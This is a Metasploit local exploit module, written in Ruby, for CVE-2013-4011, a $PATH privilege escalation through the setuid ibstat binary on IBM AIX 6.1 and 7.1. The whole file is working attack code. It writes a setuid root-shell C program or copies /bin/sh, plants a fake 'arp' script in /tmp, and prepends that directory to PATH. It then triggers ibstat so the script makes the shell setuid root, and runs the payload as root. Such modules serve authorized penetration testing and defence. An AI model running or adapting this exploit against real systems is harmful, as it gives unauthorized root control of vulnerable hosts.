## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'ibstat $PATH Privilege Escalation', 'Description' => %q{ This module exploits the trusted $PATH environment variable of the SUID binary "ibstat". }, 'Author' => [ 'Kristian Erik Hermansen', # original author 'Sagi Shahar ', # Metasploit module 'Kostas Lintovois ' # Metasploit module ], 'References' => [ ['CVE', '2013-4011'], ['OSVDB', '95420'], ['BID', '61287'], ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827'], ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756'] ], 'Platform' => %w[unix aix], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'perl' } }, 'SessionTypes' => %w[shell], 'Targets' => [ ['IBM AIX Version 6.1', {}], ['IBM AIX Version 7.1', {}] ], 'DefaultTarget' => 1, 'DisclosureDate' => '2013-09-24', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('IBSTAT_PATH', [true, 'Path to ibstat executable', '/usr/bin/ibstat']) ]) register_advanced_options([ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ]) end def ibstat_path datastore['IBSTAT_PATH'] end def check find_output = cmd_exec('find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null') return CheckCode::Safe("#{ibstat_path} is not set-uid root") unless find_output.to_s.include?('ibstat') CheckCode::Appears("#{ibstat_path} is set-uid root") end def exploit root_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}" arp_file = "#{datastore['WritableDir']}/arp" c_file = %^#include int main() { setreuid(0,0); setregid(0,0); execve("/bin/sh",NULL,NULL); return 0; } ^ arp = %(#!/bin/sh chown root #{root_file} chmod 4555 #{root_file} ) if gcc_installed? print_status("Dropping file #{root_file}.c...") write_file("#{root_file}.c", c_file) print_status('Compiling source...') cmd_exec("gcc -o #{root_file} #{root_file}.c") print_status('Compilation completed') register_file_for_cleanup("#{root_file}.c") else cmd_exec("cp /bin/sh #{root_file}") end register_file_for_cleanup(root_file) print_status('Writing custom arp file...') write_file(arp_file, arp) register_file_for_cleanup(arp_file) cmd_exec("chmod 0555 #{arp_file}") print_status('Custom arp file written') print_status('Updating $PATH environment variable...') path_env = cmd_exec('echo $PATH') cmd_exec("PATH=#{datastore['WritableDir']}:$PATH") cmd_exec('export PATH') print_status('Finding interface name...') iface = '' cmd_exec('lsdev -Cc if').each_line do |line| next unless line.match(/^[a-z]+[0-9]+\s+Available/) && !line.match(/^lo[0-9]/) iface = line.split(/\s+/)[0] print_status("Found interface #{iface}.") break end if iface == '' iface = 'en0' print_status('Found no interface, defaulting to en0.') end print_status('Triggering vulnerablity...') cmd_exec("#{ibstat_path} -a -i #{iface} 2>/dev/null >/dev/null") # The $PATH variable must be restored before the payload is executed # in cases where an euid root shell was gained print_status('Restoring $PATH environment variable...') cmd_exec("PATH=#{path_env}") cmd_exec('export PATH') cmd_exec(root_file) print_status('Checking root privileges...') if is_root? print_status('Executing payload...') cmd_exec(payload.encoded) end end def gcc_installed? print_status('Checking if gcc exists...') gcc_whereis_output = cmd_exec('whereis -b gcc') if gcc_whereis_output.to_s.include?('/') print_good('gcc found!') return true end print_status('gcc not found. Using /bin/sh from local system') false end def is_root? id_output = cmd_exec('id') if id_output.include?('euid=0(root)') print_good('Got root! (euid)') return true end if id_output.include?('uid=0(root)') print_good('Got root!') return true end print_error('Exploit failed') false end end